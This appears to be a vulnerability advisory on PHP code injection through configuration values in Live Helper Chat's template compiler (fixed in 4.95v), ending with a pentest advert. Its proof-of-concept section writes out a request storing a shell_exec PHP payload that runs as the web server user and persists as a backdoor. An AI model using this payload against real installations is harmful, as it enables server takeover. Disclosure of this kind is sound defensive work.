Live Helper Chat: PHP Code Execution via Configuration Values in the Template Compiler
An account holding the single singlesetting permission stores PHP source in a configuration value; the template compiler places it unfiltered into the generated file and includes it.
Advisory ID: TP-2026-144
Product: Live Helper Chat (open-source live chat software for customer support on websites)
Vulnerability type: Code injection (CWE-94)
CVE: not requested
CVSS 3.1: 7.2 (High) · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Vendor advisory: GHSA-69p8-4v2v-347r
Affected versions: up to and including 4.94v (verified live: commit d8787d04)
Fixed in: 4.95v
Reported: 9 October 2026
Summary
Live Helper Chat is open-source live chat software for customer support on websites. Its template compiler replaces certain reads of configuration values with the stored value at compile time and writes the result as a PHP file to cache/compiledtemplates/. One of these branches substitutes the value raw as template text, so a value containing <?php ... ?> becomes PHP source in a file that the application includes. The endpoint system/singlesetting stores the POST value unchanged. An account holding the single singlesetting permission thereby executes operating system commands as the web server user, triggered by the next page view of any visitor.
Root cause
The template compiler matches the expression <?php echo erLhcoreClassModelChatConfig::fetch('key')->current_value ... ?> at lhc_web/lib/core/lhtpl/tpl.php:486 and replaces the whole PHP block with the raw configuration value through str_replace at lhc_web/lib/core/lhtpl/tpl.php:491.
The result is written to cache/compiledtemplates/ at lhc_web/lib/core/lhtpl/tpl.php:544 and included at lhc_web/lib/core/lhtpl/tpl.php:588.
The neighbouring branches at lhc_web/lib/core/lhtpl/tpl.php:502, :515 and :529 escape the same value before it enters PHP code, while the branch at :491 neutralises neither HTML nor a PHP opening tag.
lhc_web/modules/lhsystem/singlesetting.php:19 copies the POST value unchanged into $config->value and :20 persists it; eight configuration keys, among them mheight_op and listd_op, reach the raw substitution.
The compile step runs only when site.templatecompile is set (lhc_web/lib/core/lhtpl/tpl.php:99, :218), and the installer sets the value to true (lhc_web/modules/lhinstall/install.php:3073).
Proof of Concept
POST /index.php/site_admin/system/singlesetting/mheight_op HTTP/1.1
mheight_opValueParam=<?php @file_put_contents("/tmp/lhc-vrfy-rce-001.txt", "EXEC id=".@shell_exec("id")); ?>&csfr_token=<token>
HTTP/1.1 200 OK
GET /index.php/site_admin/user/login HTTP/1.1 (no cookies)
HTTP/1.1 200 OK
$ cat /tmp/lhc-vrfy-rce-001.txt
EXEC ... id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
On the next compile the stored value lands as source in cache/compiledtemplates/login_<md5>.php, and an anonymous request to the login page includes the file. Verified on 4.94v (commit d8787d04) in Docker with the post-install configuration; the attacker's role holds exactly one permission, lhsystem / singlesetting. With site.templatecompile set to false the same value is stored and never executes.
Impact
- Operating system command execution as the web server user by an account that can manage neither users, roles, templates nor updates.
- The injected code sits in a cached file and runs on every render of the affected layout, which makes it a persistent backdoor.
- Any visitor is the trigger: the sink is in the page head of the login, widget and visitor chat layouts.
- Saving the value writes no
lh_auditsrow, because the installer leavesChatConfigout ofaudit_configuration['log_objects'].
References
Is Something Like This in Your Software?
Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
